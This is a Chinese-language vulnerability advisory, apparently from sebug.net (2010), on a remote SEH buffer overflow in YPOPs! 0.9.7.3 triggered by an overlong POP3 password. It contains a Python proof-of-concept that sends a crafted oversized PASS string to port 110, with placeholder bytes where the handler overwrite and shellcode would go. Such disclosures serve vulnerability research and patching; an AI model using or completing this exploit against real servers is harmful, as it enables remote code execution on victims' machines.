YPOPS!远程缓冲区溢出漏洞

漏洞起因
边界条件错误
危险等级

 
影响系统
YPOPS! v0.9.7.3
 
不受影响系统
 
危害
远程攻击者可以利用漏洞以应用程序权限执行任意指令。
 
攻击所需条件
攻击者必须访问YPOPs!。
 
漏洞信息
YPOPs!是一款使Yahoo!支持POP功能的软件。它仿效一个POP3服务器并能够使用流行的email客户端软件收取Yahoo!的邮件。
YPOPs!不正确过滤用户提交的参数,远程攻击者可以利用漏洞进行缓冲区溢出攻击。
构建超长字符串作为密码数据提交可触发此漏洞,成功利用漏洞可以应用程序权限执行任意指令。
 
测试方法
# Version:0.9.7.3
# Tested on: Windows XP SP3
#!/usr/bin/python
# All modules are SafeSEH protected in service pack 3.
import socket, sys
print "\n ========================================"
print "  YPOPS! v 0.9.7.3 Buffer Overflow (SEH)"
print "  Proof of Concept by Blake  "
print "  Tested on Windows XP Pro SP 3 "
print " ========================================\n"
if len(sys.argv) != 2:
    print "Usage: %s <ip>\n" % sys.argv[0]
    sys.exit(0)
host = sys.argv[1]
port = 110
buffer = "\x41" * 1663
buffer += "\x42" * 4               # next seh
buffer += "\x43" * 4               # seh handler
buffer += "\x44" * 2000        # 136 bytes of space for shellcode
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((host,port))
    print "[+] Connecting to server…\n"
    s.recv(1024)
    s.send(‘USER blake\r\n’)
    s.recv(1024)
    print "[+] Sending buffer\n"
    s.send(‘PASS ‘ + buffer + ‘\r\n’)
    s.recv(1024)
    s.close()
    print "[+] Done.\n"
except:
    print "[-] Could not connect to server!\n"
// sebug.net [2010-01-11]
 
厂商解决方案
目前没有解决方案提供:
http://ypopsemail.com/
 
漏洞提供者
blake

发表评论?

0 条评论。

发表评论